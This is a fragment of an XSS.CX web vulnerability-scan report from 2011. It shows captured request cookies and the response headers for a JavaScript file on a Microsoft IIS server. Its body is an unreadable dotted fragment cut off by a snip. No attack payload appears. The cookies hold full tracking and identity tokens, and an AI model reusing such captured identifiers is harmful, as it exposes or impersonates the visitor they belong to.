Cookie: WT_NVR=0=/:1=ru-ru:2=ru-ru/events:3=ru-ru/events/platforma; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1312394603562:ss=1312394542217; A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=07/22/2011 11:34:14&Microsoft.VisitStartDate=07/22/2011 11:34:14&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: max-age=900
Content-Type: application/x-javascript
Last-Modified: Sun, 06 Jun 2010 00:23:57 GMT
Accept-Ranges: bytes
ETag: "3389648de5cb1:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
VTag: 438837200800000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Thu, 04 Aug 2011 17:22:39 GMT
Content-Length: 59014

../././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././..
././..
././. . .S.i.l.v.e.r.l.i.g.h.
...[SNIP]...

Report generated by XSS.CX at Fri Aug 05 13:11:43 GMT-06:00 2011.